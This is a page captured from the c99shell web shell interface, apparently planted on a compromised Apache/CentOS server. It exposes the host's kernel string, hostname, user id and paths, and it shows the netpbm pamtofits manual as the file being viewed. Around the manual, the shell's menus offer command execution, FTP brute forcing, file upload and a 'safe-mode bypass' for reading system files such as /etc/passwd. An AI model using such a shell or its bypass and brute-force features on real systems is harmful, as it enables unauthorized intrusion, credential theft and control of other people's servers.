!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/netpbm-10.35.58/userguide/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pamtofits.html (3.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Pamtofits User Manual

pamtofits

Updated: 25 September 2005
Table Of Contents

NAME

pamtofits - convert a Netpbm image into FITS format

SYNOPSIS

pamtofits [-max f] [-min f] [pamfile]

DESCRIPTION

This program is part of Netpbm.

pamtofits reads a PNM or PAM image as input and produces a FITS (Flexible Image Transport System) file as output. The resolution of the output file is either 8 bits/pixel, or 16 bits/pixel, depending on the value of maxval in the input file. If the input file is a PBM or PGM image, the output file consists of a single plane image (NAXIS = 2). If instead the input file is a PPM image, the output file will consist of a three-plane image (NAXIS = 3, NAXIS3 = 3).

OPTIONS

-min and -max tell pamtofits what "physical values" zero and maxval sample values, respectively, in the input image represent. Physical values are a FITS concept. pamtofits sets up the BSCALE and BZERO FITS header cards to indicate this information.

The default for -min is 0 and for -max is the maxval, which means if you don't specify these options, the FITS physical values are in fact the original Netpbm sample values.

pamtofits always sets up the FITS header DATAMIN and DATAMAX cards to indicate that the highest physical value in the image is the one corresponding to the Netpbm maxval and the lowest is that corresponding to Netpbm zero. This isn't really how those cards are supposed to be used, since the input image doesn't necessarily contain the full possible range of sample values. It is a conservative approximation.

NOTES

Pixel Order

The FITS specification does not specify which data in the file corresponds to which pixel in the image (i.e. which bytes are the the top left pixel, etc.). Netpbm uses the common sense, most popular arrangement: row major, top to bottom, left to right. That means in a 10 wide by 20 high image, the first 10 pixels in the file are the top row and the last 10 are the bottom row. Within each row, the first pixel is the leftmost one and the last pixel is the rightmost one.

Netpbm has always done that, since it first understood the FITS format in 1989, so it is something of a de facto standard.

However, at least some versions of ImageMagick and Gimp (as seen in 2008) use bottom to top order, so if you use display a FITS image generated by pamtofits, it will appear upside down. To fix that, use pamflip -topbottom on the image before feeding it to pamtofits.

HISTORY

pamtofits was originally pnmtofits and did not handle PAM input. It was extended and renamed in Netpbm 10.30 (October 2005).

pnmtofits was itself an extension of pgmtofits, which was added to Pbmplus in 1989.

SEE ALSO

fitstopnm, pam FITS

AUTHOR

Copyright (C) 1989 by Wilson H. Bent (whb@hoh-2.att.com), with modifications by Alberto Accomazzi (alberto@cfa.harvard.edu).

Table Of Contents


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--